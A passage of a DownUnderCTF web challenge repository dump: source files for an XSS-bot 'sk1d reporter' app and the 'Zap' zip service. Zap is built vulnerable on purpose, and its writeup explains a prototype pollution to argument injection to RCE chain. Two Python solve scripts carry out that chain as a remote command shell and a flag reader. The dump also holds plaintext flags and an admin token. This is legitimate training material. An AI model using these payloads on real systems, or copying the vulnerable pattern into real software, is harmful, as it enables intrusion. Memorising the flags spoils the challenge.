password=pword, privilege=user[1])\r\n\tdb.session.add(u)\r\n\tdb.session.commit()\r\n\tr = Reports(user_id=u.id, username=u.username, message=\"God damn script kids trying to hack me, this is the only place I can store this flag: \"+flag)\r\n\tdb.session.add(r)\r\n\tdb.session.commit()\r\n\r\ncreate_admin(['admin', True], str(os.environ.get('FLAG')), db)\r\n"
  },
  {
    "path": "web/x1337_sk1d_r3p0rt3r/challenge/web/static/style.css",
    "content": "/*\r\n* Globals\r\n*/\r\n\r\n\r\n/* Custom default button */\r\n.btn-secondary,\r\n.btn-secondary:hover,\r\n.btn-secondary:focus {\r\n\tcolor: #333;\r\n\ttext-shadow: none; /* Prevent inheritance from `body` */\r\n}\r\n\r\n\r\n/*\r\n * Base structure\r\n */\r\n\r\nbody {\r\n\ttext-shadow: 0 .05rem .1rem rgba(0, 0, 0, .5);\r\n\tbox-shadow: inset 0 0 5rem rgba(0, 128, 0, .2);\r\n}\r\n\r\n.cover-container {\r\n\tmax-width: 42em;\r\n}\r\n\r\n.list-group-item {\r\n\tborder-color: rgba(0, 128, 0, .2);\r\n}\r\n\r\nkbd {\r\n\tbackground-color: #111;\r\n}\r\n\r\n/*\r\n * Header\r\n */\r\n\r\n.nav-masthead .nav-link {\r\n\tpadding: .25rem 0;\r\n\tfont-weight: 700;\r\n\tcolor: rgba(255, 255, 255, .5);\r\n\tbackground-color: transparent;\r\n\tborder-bottom: .25rem solid transparent;\r\n}\r\n\r\n.nav-masthead .nav-link:hover,\r\n.nav-masthead .nav-link:focus {\r\n\tborder-bottom-color: rgba(255, 255, 255, .25);\r\n}\r\n\r\n.nav-masthead .nav-link + .nav-link {\r\n\tmargin-left: 1rem;\r\n}\r\n\r\n.nav-masthead .active {\r\n\tcolor: #fff;\r\n\tborder-bottom-color: #fff;\r\n}\r\n\r\n/*\r\n * Cards\r\n */\r\n.card {\r\n\tborder-color: lime;\r\n\tbox-shadow: 5px 10px 8px rgba(0, 128, 0, .2);\r\n}"
  },
  {
    "path": "web/x1337_sk1d_r3p0rt3r/challenge/web/templates/base.html",
    "content": "<!DOCTYPE html>\r\n<html lang=\"en\" class=\"h-100\">\r\n\r\n<head>\r\n\t<meta charset=\"utf-8\">\r\n\t<meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\r\n\t<link href=\"https://cdn.jsdelivr.net/npm/bootstrap@5.1.0/dist/css/bootstrap.min.css\" rel=\"stylesheet\" integrity=\"sha384-KyZXEAg3QhqLMpG8r+8fhAXLRk2vvoC2f3B09zVXn8CA5QIVfZOJ3BCsw2P0p/We\" crossorigin=\"anonymous\">\r\n\t<link rel=\"stylesheet\" type=\"text/css\" href=\"{{ url_for('static', filename='style.css') }}\">\r\n\t<title>{% if title %}{{ title }}{% else %}Home{% endif %}</title>\r\n</head>\r\n\r\n\r\n<body class=\"h-100 w-100 text-center text-white bg-dark\">\r\n\r\n\t<div class=\"cover-container d-flex w-100 h-100 p-3 mx-auto flex-column\">\r\n\t\t<header class=\"d-flex flex-wrap align-items-center justify-content-center justify-content-md-between py-3 mb-auto\">\r\n\t\t\t<h3 class=\"float-md-start mb-0\">x1337 Reporter</h3>\r\n\t\t\t{% if current_user.is_authenticated %}\r\n\t\t\t\t{% include 'navbar-auth.html' %}\r\n\t\t\t{% else %}\r\n\t\t\t\t{% include 'navbar-unauth.html' %}\r\n\t\t\t{% endif %}\r\n\t\t</header>\r\n\r\n\t\t<main class=\"px-1 h-75\">\r\n\t\t\t{% with messages = get_flashed_messages(with_categories=true) %}\r\n\t\t\t\t{% if messages %}\r\n\t\t\t\t\t{% for category, message in messages %}\r\n\t\t\t<div class=\"alert {{ category }}\">{{ message }}</div>\r\n\t\t\t\t\t{% endfor %}\r\n\t\t\t\t{% endif %}\r\n\t\t\t{% endwith %}\r\n\t\t\t{% block content %}\r\n\t\t\t{% endblock %}\r\n\t\t</main>\r\n\r\n\t\t<footer class=\"mt-auto text-white-50\">\r\n\t\t\t<p>H4ck d4 Pl4n3t</p>\r\n\t\t</footer>\r\n\t</div>\r\n\r\n\r\n\t\r\n\r\n\t<script src=\"https://cdn.jsdelivr.net/npm/bootstrap@5.1.0/dist/js/bootstrap.bundle.min.js\" integrity=\"sha384-U1DAWAznBHeqEIlVSCgzq+c9gqGAJn5c/t99JyeKa9xxaYpSvHU5awsuZVVFIhvj\" crossorigin=\"anonymous\"></script>\r\n</body>\r\n\r\n</html>"
  },
  {
    "path": "web/x1337_sk1d_r3p0rt3r/challenge/web/templates/dashboard.html",
    "content": "{% extends \"base.html\" %}\r\n\r\n{% block content %}\r\n<div class=\"row d-flex justify-content-center\">\r\n\t<div class=\"col-5 mr-2\">\r\n\t\t<div class=\"card text-white bg-dark\">\r\n\t\t\t<div class=\"card-body\">\r\n\t\t\t\t<h4 class=\"card-title\">Report a Sk1d</h4>\r\n\t\t\t\t<hr/>\r\n\t\t\t\t<form action=\"{{ url_for('_report') }}\" method=\"post\" novalidate>\r\n\t\t\t\t\t{{ reportform.hidden_tag() }}\r\n\t\t\t\t\t<div class=\"input-group mb-3\">\r\n\t\t\t\t\t\t{{ reportform.message(class=\"form-control\", placeholder=\"Sk1dd13 D3t41lz\") }}\r\n\t\t\t\t\t</div>\r\n\t\t\t\t\t<div class=\"input-group justify-content-center mb-3\">\r\n\t\t\t\t\t\t{{ reportform.submit(class=\"btn btn-success\") }}\r\n\t\t\t\t\t</div>\r\n\t\t\t\t</form>\r\n\t\t\t</div>\r\n\t\t</div>\r\n\t</div>\r\n\t<div class=\"col-5\">\r\n\t\t<div class=\"card text-white bg-dark\">\r\n\t\t\t<div class=\"card-body\">\r\n\t\t\t\t<h4 class=\"card-title\">Edit Profile</h4>\r\n\t\t\t\t<hr>\r\n\t\t\t\t<form action=\"{{ url_for('_edit') }}\" method=\"post\" novalidate>\r\n\t\t\t\t\t{{ editform.hidden_tag() }}\r\n\t\t\t\t\t<div class=\"input-group mb-3\">\r\n\t\t\t\t\t\t<div class=\"input-group-prepend\">\r\n\t\t\t\t\t\t\t<span class=\"input-group-text\">{{ editform.username.label }}</span>\r\n\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t{{ editform.username(size=32, class=\"form-control\", value=current_user.get_username() ) }}\r\n\t\t\t\t\t</div>\r\n\t\t\t\t\t<div class=\"input-group justify-content-center mb-3\">\r\n\t\t\t\t\t\t{{ editform.submit(class=\"btn btn-success\") }}\r\n\t\t\t\t\t</div>\r\n\t\t\t\t</form>\r\n\t\t\t</div>\r\n\t\t</div>\r\n\t</div>\r\n</div>\r\n<div class=\"row d-flex justify-content-center w-100 mt-3\">\r\n\t<div class=\"col-12\">\r\n\t\t<div class=\"card w-100 text-white bg-dark\">\r\n\t\t\t<div class=\"card-body\" style=\"max-height: 25%\">\r\n\t\t\t\t<h4 class=\"card-title\">Request a Sk1d R3p0rtz</h4>\r\n\t\t\t\t{% if current_user.reports %}\r\n\t\t\t\t<div class=\"list-group\">\r\n\t\t\t\t\t{% for report in current_user.reports[::-1] %}\r\n\t\t\t\t\t\t<a href=\"{{ url_for('_view_report', id=report.id) }}\" class=\"list-group-item list-group-item-action list-group-item-dark bg-dark text-white\">{{ report.username }}> <span class=\"text-muted\">{% if report.message|length > 50 %}{{ report.message[:50] }}...{% else %}{{ report.message }}{% endif %}</span></a>\r\n\t\t\t\t\t{% endfor %}\r\n\t\t\t\t</div>\r\n\t\t\t\t{% else %}\r\n\t\t\t\t<p class=\"text-muted\">Report a Skid to get started >:)</p>\r\n\t\t\t\t{% endif %}\r\n\t\t\t</div>\r\n\t\t</div>\r\n\t</div>\r\n</div>\r\n{% endblock %}"
  },
  {
    "path": "web/x1337_sk1d_r3p0rt3r/challenge/web/templates/index.html",
    "content": "{% extends \"base.html\" %}\r\n\r\n{% block content %}\r\n<h1>x1337 Reporter</h1>\r\n<p class=\"lead\">Report all those pesky sk1dz, here at x1337 Reporter we investigate every report and race to take them <kbd class=\"text-monospace\">#offline</kbd></p>\r\n<p class=\"lead\">\r\n\t<a href=\"#\" class=\"btn btn-lg btn-secondary fw-bold border-white bg-white\">Learn more</a>\r\n</p>\r\n{% endblock %}"
  },
  {
    "path": "web/x1337_sk1d_r3p0rt3r/challenge/web/templates/login.html",
    "content": "{% extends \"base.html\" %}\r\n\r\n{% block content %}\r\n\t<div class=\"card text-white bg-dark\" style=\"width: 28rem;\">\r\n\t\t<div class=\"card-body\">\r\n\t\t\t<h1 class=\"card-title\">Sign In</h1>\r\n\t\t\t<form id=\"login\" action=\"{{ url_for('_login') }}\" method=\"post\" novalidate>\r\n\t\t\t\t{{ form.hidden_tag() }}\r\n\t\t\t\t<div class=\"input-group\">\r\n\t\t\t\t\t<div class=\"input-group mb-3\">\r\n\t\t\t\t\t\t<div class=\"input-group-prepend\">\r\n\t\t\t\t\t\t\t<span class=\"input-group-text\">{{ form.username.label }}</span>\r\n\t\t\t\t\t\t</div>\r\n\r\n\t\t\t\t\t\t{{ form.username(size=32, class=\"form-control\") }}\r\n\t\t\t\t\t</div>\r\n\t\t\t\t\t<div class=\"input-group mb-3\">\r\n\t\t\t\t\t\t<div class=\"input-group-prepend\">\r\n\t\t\t\t\t\t\t<span class=\"input-group-text\">{{ form.password.label }}</span>\r\n\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t{{ form.password(size=32, class=\"form-control\") }}\r\n\t\t\t\t\t</div>\r\n\t\t\t\t</div>\r\n\t\t\t\t<p>{{ form.loginbtn(class=\"btn btn-success\") }}</p>\r\n\t\t\t</form>\r\n\t\t</div>\r\n\t</div>\r\n{% endblock %}"
  },
  {
    "path": "web/x1337_sk1d_r3p0rt3r/challenge/web/templates/navbar-auth.html",
    "content": "<div class=\"col-md-4\">\r\n\t<span class=\"text-muted text-monospace\">Logged in as {{ current_user.username }}</span>\r\n</div>\r\n<nav class=\"nav nav-masthead text-end\">\r\n\t<a class=\"nav-link{% if title == 'Dashboard' %} active\" aria-current=\"page\"{% else %}\"{% endif %} href=\"{{ url_for('_dashboard') }}\">Dashboard</a>\r\n\t<a class=\"nav-link{% if title == 'Logout' %} active\" aria-current=\"page\"{% else %}\"{% endif %} href=\"{{ url_for('_logout') }}\">Logout</a>\r\n</nav>\r\n"
  },
  {
    "path": "web/x1337_sk1d_r3p0rt3r/challenge/web/templates/navbar-unauth.html",
    "content": "<nav class=\"nav nav-masthead\">\r\n\t<a class=\"nav-link{% if title == 'Home' %} active\" aria-current=\"page\"{% else %}\"{% endif %} href=\"{{ url_for('_index') }}\">Home</a>\r\n\t<a class=\"nav-link{% if title == 'Login' %} active\" aria-current=\"page\"{% else %}\"{% endif %} href=\"{{ url_for('_login') }}\">Login</a>\r\n\t<a class=\"nav-link{% if title == 'Register' %} active\" aria-current=\"page\"{% else %}\"{% endif %} href=\"{{ url_for('_register') }}\">Register</a>\r\n</nav>"
  },
  {
    "path": "web/x1337_sk1d_r3p0rt3r/challenge/web/templates/register.html",
    "content": "{% extends \"base.html\" %}\r\n\r\n{% block content %}\r\n\t<div class=\"card text-white bg-dark\" style=\"width: 28rem;\">\r\n\t\t<div class=\"card-body\">\r\n\t\t\t<h1 class=\"card-title\">Register</h1>\r\n\t\t\t<form action=\"{{ url_for('_register') }}\" method=\"post\" novalidate>\r\n\t\t\t\t{{ form.hidden_tag() }}\r\n\t\t\t\t<div class=\"input-group mb-3\">\r\n\t\t\t\t\t<div class=\"input-group-prepend\">\r\n\t\t\t\t\t\t<span class=\"input-group-text\">{{ form.username.label }}</span>\r\n\t\t\t\t\t</div>\r\n\r\n\t\t\t\t\t{{ form.username(size=32, class=\"form-control\") }}\r\n\t\t\t\t</div>\r\n\t\t\t\t<div class=\"input-group mb-3\">\r\n\t\t\t\t\t<div class=\"input-group-prepend\">\r\n\t\t\t\t\t\t<span class=\"input-group-text\">{{ form.password.label }}</span>\r\n\t\t\t\t\t</div>\r\n\t\t\t\t\t{{ form.password(size=32, class=\"form-control\") }}\r\n\t\t\t\t</div>\r\n\t\t\t\t<p>{{ form.submit(class=\"btn btn-success\") }}</p>\r\n\t\t\t</form>\r\n\t\t</div>\r\n\t</div>\r\n{% endblock %}"
  },
  {
    "path": "web/x1337_sk1d_r3p0rt3r/challenge/web/templates/report_view.html",
    "content": "{% extends \"base.html\" %}\r\n\r\n{% block content %}\r\n<div class=\"row d-flex justify-content-center w-100 mt-3\">\r\n\t<div class=\"col-12\">\r\n\t\t<div class=\"card text-white bg-dark\">\r\n\t\t\t<div class=\"card-body justify-content-center text-center\" id=\"report\">\r\n\t\t\t\t<h4 class=\"card-title\">Sk1d R3p0r7 #{{ report.id }}</h4>\r\n\t\t\t\t<hr/>\r\n\t\t\t\t<p class=\"text-white\" id=\"reportMessage\">\r\n\t\t\t\t\t{{ username }} -> {{ report.message }}\r\n\t\t\t\t</p>\r\n\t\t\t\t<hr/>\r\n\t\t\t\t<p class=\"text-muted\" id=\"previousReports\">\r\n\t\t\t\t\tPrevious Reports by {{ current_user.username }}><br/>\r\n\t\t\t\t\t{% for prep in previous_reports %}\r\n\t\t\t\t\t\t{{ prep[0] }}{{ prep[1] }}<br/>\r\n\t\t\t\t\t{% endfor %}\r\n\t\t\t\t</p>\r\n\t\t\t\t<a href=\"{{ url_for('_send2admin',id=report.id) }}\" class=\"btn btn-success\">Send Report to Admin</a>\r\n\t\t\t</div>\r\n\t\t</div>\r\n\t</div>\r\n</div>\r\n{% endblock %}"
  },
  {
    "path": "web/x1337_sk1d_r3p0rt3r/challenge.yml",
    "content": "version: \"0.1\"\r\nid: x1337-sk1d-r3p0rt3r\r\nname: x1337 Sk1d R3p0rt3r\r\ncategory: web\r\ndescription: |\r\n  Pesky sk1dz everywhere, they are being taken offline left right and centre! It looks like th3 sk1dz have been reporting eachother on this site, something something cyber justice?\r\n\r\n  Author: xesh\r\n\r\nconnection_info: ${url}\r\n\r\ntags:\r\n  - medium\r\n\r\nflags:\r\n  - DUCTF{xxX_x55_4_1337_h4x0rz_Xxx}\r\n"
  },
  {
    "path": "web/x1337_sk1d_r3p0rt3r/docker-compose.yml",
    "content": "version: \"3\"\r\nservices:\r\n  marvin:\r\n    image: ghcr.io/downunderctf/docker-vendor/xssbot:chrome\r\n    privileged: true\r\n    environment:\r\n     OUTBOUND_AUTH_METHOD: http-get\r\n     OUTBOUND_AUTH_HTTP_GET_URL: http://web:5000/login?token=KJDF4wn90sdfjUOIDFndfs2389dsfgj\r\n  web:\r\n    environment:\r\n      # Admin Secret to Auth marvin\r\n      ADMIN_PW: KJDF4wn90sdfjUOIDFndfs2389dsfgj\r\n    links:\r\n      - \"marvin\"\r\n    ports:\r\n      - \"5000:5000\""
  },
  {
    "path": "web/zap/.dockerignore",
    "content": "node_modules/"
  },
  {
    "path": "web/zap/.gitignore",
    "content": "node_modules/\n"
  },
  {
    "path": "web/zap/Dockerfile",
    "content": "FROM node:16-slim as base\nFROM base as build\nWORKDIR /build\n\nCOPY ./package*.json .\nCOPY ./yarn.lock .\nRUN yarn install --frozen-lockfile\n\nFROM base as dist\n\nRUN groupadd -g 1001 -r ctf && useradd -u 1001 --no-log-init -r -g ctf ctf\n\nRUN apt-get update \\\n  && apt-get install --no-install-recommends -y zip iptables \\\n  && rm -rf /var/lib/apt/lists/*\n\nCOPY ./flag.txt /\n\nWORKDIR /srv\n\nUSER ctf\nCOPY --from=build /build/node_modules/ ./node_modules/\nCOPY ./src/ ./\n\nENTRYPOINT [ \"node\", \"/srv/app.js\" ]\n"
  },
  {
    "path": "web/zap/README.md",
    "content": "# Zap\n\n**Category**: Web\n\n**Difficulty**: Easy - Medium\n\n**Author**: todo#7331\n\n## Flavour\n\nI recently built a small zip application as a service and I was wondering if you could pen-test it for me. It's still in beta and a bit unstable at the moment so don't feel afraid to restart the machine!\n\n## Description\n\n**This challenge uses per-team containers**\n\nThis challenge is a relatively straightforward parameter pollution? -> prototype pollution -> argument injection -> rce. Players can post to a endpoint which will call the `zip` command in order to compress a file specified by the player.\n\nThis challenge, whilst built for players, is also intended as a POC of per-team-containers for next year. If another challenge actually requires per-team-containers do not include this challenge.\n\n## Writeup\n\n_A solve script can be found in ./solve_\n\n1. Players look through the source code to see the `nested-object-assign@1.0.3` this version is vulnerable to a prototype pollution vuln.\n2. Players realised they need to set `Object.prototype.extra_opts` to be an array of extra opts in order to argument inject the `zip` command.\n3. Notably zip takes the `--unzip-command <command>` argument which when called with `--test` will execute the command, subsituting `{}` for the name of zip archive.\n4. Whilst it initially seems difficult to pass a javascript object / array to trigger the prototype pollution with, it turns out multer's body parser will automagically assemble complex javascript objects if parameters are specified in a certain format\n   1. I.e. posting `a[k2]=1 a[k2]=2` will result in the `{a: {k1: 1, k2: 2}}` object being assembled\n   2. I.e. posting `a[0]=1 a[1]=2` will result in the `{a: [1, 2]}` array being assembled\n5. We can hence use this behaviour to construct a pollution payload\n   1. `__proto__[extra_opts][0]=-T`\n   2. `__proto__[extra_opts][1]=-TT`\n   3. `__proto__[extra_opts][2]=ls > {} #` Here the `{}` will be replaced by the archive name allowing us to exfil easily, the `#` is nessecary to prevent `zip` from passing us a extra unwanted arg.\n6. We can then `ls /` to find `flag.txt` and `cat` it to win.\n\n## Running\n\n`docker-compose up --build`\n\nThis challenge should not be shared between teams.\n\n- prototype pollution will effect everyone, and since it persists everyone's chal will break\n- this has rce and is intentionally very weakly hardened\n"
  },
  {
    "path": "web/zap/challenge.yml",
    "content": "version: \"0.1\"\nid: zap\nname: Zap\ncategory: web\ndescription: |\n  I recently built a small zip application as a service and I was wondering if you could pen-test it for me.\n\n  It's still in beta and a bit unstable at the moment so don't feel afraid to restart the machine!\n\n  Admin Note: We're trying out a new challenge type this year. When you click the \"Fetch Instance\" button below, a unique URL to your challenge instance will be created. Do not share this link to people outside your team. In order to reset the state, you can terminate the instance and re-create it.\n\n  Author: todo#7331\n\n\ntags:\n  - medium\n\nfiles:\n  - ./src/app.js\n  - ./package.json\n  - ./yarn.lock\n\nflags:\n  - DUCTF{th4nk_y0u_4_p4rticipating_1n_our_bet4_t3st}\n\ntype: kubectf\nextra:\n  template_name: web-zap\n"
  },
  {
    "path": "web/zap/docker-compose.yml",
    "content": "version: \"3\"\n\nservices:\n  zap:\n    build: .\n    image: zap.web.ctf.local\n    environment:\n      NODE_ENV: production\n    ports:\n      - 8000:8000\n"
  },
  {
    "path": "web/zap/flag.txt",
    "content": "DUCTF{th4nk_y0u_4_p4rticipating_1n_our_bet4_t3st}"
  },
  {
    "path": "web/zap/package.json",
    "content": "{\n  \"name\": \"zap\",\n  \"version\": \"1.0.0\",\n  \"main\": \"src/app.js\",\n  \"license\": \"MIT\",\n  \"dependencies\": {\n    \"express\": \"^4.17.1\",\n    \"morgan\": \"^1.10.0\",\n    \"multer\": \"^1.4.3\",\n    \"nested-object-assign\": \"1.0.3\"\n  },\n  \"devDependencies\": {\n    \"prettier\": \"^2.4.0\"\n  }\n}\n"
  },
  {
    "path": "web/zap/solve/shell.py",
    "content": "import requests\n\nBASE_URL = \"http://localhost:8000\"\n\ndef run_command(cmd):\n    res = requests.post(f'{BASE_URL}/zip', files={\n        'file': 'hello world',\n    }, data={\n        '__proto__[extra_opts][0]': '-T',\n        '__proto__[extra_opts][1]': '-TT',\n        '__proto__[extra_opts][2]': cmd + ' > {} #'\n    })\n\n    # Reset prototypes\n    requests.post(f'{BASE_URL}/zip', files={\n        'file': 'hello world',\n    }, data={\n        '__proto__[extra_opts]': '',\n    })\n\n    return res.text\n\n\nwhile True:\n    try:\n        print(run_command(input('> ')))\n    except (KeyboardInterrupt, EOFError):\n        break\n"
  },
  {
    "path": "web/zap/solve/solve.py",
    "content": "import requests\n\nBASE_URL = \"http://localhost:8000\"\n\ndef run_command(cmd):\n    res = requests.post(f'{BASE_URL}/zip', files={\n        'file': 'hello world',\n    }, data={\n        '__proto__[extra_opts][0]': '-T',\n        '__proto__[extra_opts][1]': '-TT',\n        '__proto__[extra_opts][2]': cmd + ' > {} #'\n    })\n\n    # Reset prototypes\n    requests.post(f'{BASE_URL}/zip', files={\n        'file': 'hello world',\n    }, data={\n        '__proto__[extra_opts]': '',\n    })\n\n    return res.text\n\n\nls = run_command('ls /')\nassert 'flag.txt' in ls\n\nflag = run_command('cat /flag.txt')\nprint(flag)\n"
  },
  {
    "path": "web/zap/src/app.js",
    "content": "const assign = require(\"nested-object-assign\");\nconst express = require(\"express\");\nconst fs = require(\"fs\");\nconst multer = require(\"multer\");\nconst morgan = require(\"morgan\");\nconst { spawn } = require(\"child_process\");\n\n// config\nconst UPLOAD_DIR = process.env.UPLOAD_DIR ?? \"/tmp\";\nconst ZIP_OPTS = JSON.parse(process.env.ZIP_OPTS ?? '{\"executable\":\"zip\"}');\n\n// zipper\nfunction zip(infile, outfile, extra_opts) {\n  const opts = assign(\n    {\n      zip: {\n        password: null,\n        compressionMethod: \"deflate\",\n      },\n      executable: ZIP_OPTS.executable,\n    },\n    extra_opts\n  );\n\n  return spawn(ZIP_OPTS.executable, [\n    \"-j\",\n    outfile,\n    infile,\n\n    \"--compression-method\",\n    opts.zip.compressionMethod,\n\n    ...(opts.zip.password\n      ? [\"--encrypt\", \"--password\", opts.zip.password]\n      : []),\n\n    ...(ZIP_OPTS.extra_opts ?? []),\n  ]);\n}\n\nfunction tryRm(file) {\n  try {\n    fs.unlinkSync(file);\n  } catch (e) {}\n}\n\n// app\nconst app = express();\napp.use(morgan(\"tiny\"));\n\nconst zipUpload = multer({\n  dest: UPLOAD_DIR,\n  limits: {\n    files: 1,\n    fileSize: 8192,\n  },\n}).single(\"file\");\n\napp.post(\"/zip\", zipUpload, (req, res) => {\n  if (!req.file) return res.redirect(\"/\");\n  const outfile = `${req.file.path}.zip`;\n\n  function abort(status) {\n    tryRm(req.file.path);\n    tryRm(outfile);\n    res.status(status).end();\n  }\n\n  zip(req.file.path, outfile, { zip: req.body })\n  .on(\"error\", () => abort(500))\n  .on(\"exit\", (code) => {\n    if (code !== 0) return abort(500);\n\n    fs.createReadStream(outfile)\n      .on(\"error\", () => abort(500))\n      .on(\"finish\", () => abort(200))\n      .pipe(res)\n  });\n});\n\napp.get(\"/\", (_req, res) => {\n  res.sendFile(__dirname + \"/index.html\");\n});\n\napp.listen(8000, () => {\n  console.log(\"App started\");\n});\n"
  },
  {
    "path": "web/zap/src/index.html",
    "content": "<!DOCTYPE html>\n<html>\n  <head>\n    <title>Zap</title>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\" />\n    <link\n      rel=\"stylesheet\"\n      href=\"https://cdn.jsdelivr.net/npm/bulma@0.9.3/css/bulma.min.css\"\n    />\n  </head>\n\n  <body>\n    <main class=\"hero is-fullheight is-info is-bold\">\n      <div class=\"hero-body\">\n        <div class=\"container columns\" style=\"justify-content: space-around\">\n          <div class=\"column\" style=\"padding-right: 4em; text-align: right\">\n            <h1 class=\"title main-title\">Zap</h1>\n            <div class=\"subtitle\">\n              <p>Zip your files online for free!</p>\n            </div>\n          </div>\n          <div class=\"column\">\n            <form action=\"/zip\" method=\"POST\" enctype=\"multipart/form-data\">\n              <div class=\"block\">\n                <div class=\"file has-name is-fullwidth\">\n                  <label class=\"file-label\">\n                    <input class=\"file-input\" type=\"file\" name=\"file\" />\n                    <span class=\"file-cta\"> Choose a file </span>\n                    <span class=\"file-name\"> No file selected </span>\n                  </label>\n                </div>\n              </div>\n              <div class=\"block columns\">\n                <div class=\"column\">\n                  <input\n                    class=\"input\"\n                    type=\"password\"\n                    name=\"password\"\n                    placeholder=\"Password (optional)\"\n                  />\n                </div>\n                <div class=\"column is-3\">\n                  <div class=\"select is-fullwidth\">\n                    <select type=\"compressionMethod\">\n                      <option value=\"deflate\" selected>deflate</option>\n                      <option value=\"store\">store</option>\n                    </select>\n                  </div>\n                </div>\n                <div class=\"column is-narrow\">\n                  <button class=\"button\">Go!</button>\n                </div>\n              </div>\n            </form>\n          </div>\n        </div>\n      </div>\n    </main>\n\n    <script>\n      (function () {\n        const file = document.querySelector(\"input[type=file]\");\n        function setFileValue() {\n          if (file.files.length > 0) {\n            file.parentElement.querySelector(\".file-name\").textContent =\n              file.files[0].name;\n          }\n        }\n        setFileValue();\n        file.addEventListener(\"change\", function () {\n          setFileValue();\n        });\n      })();\n    </script>\n  </body>\n</html>\n"
  }
]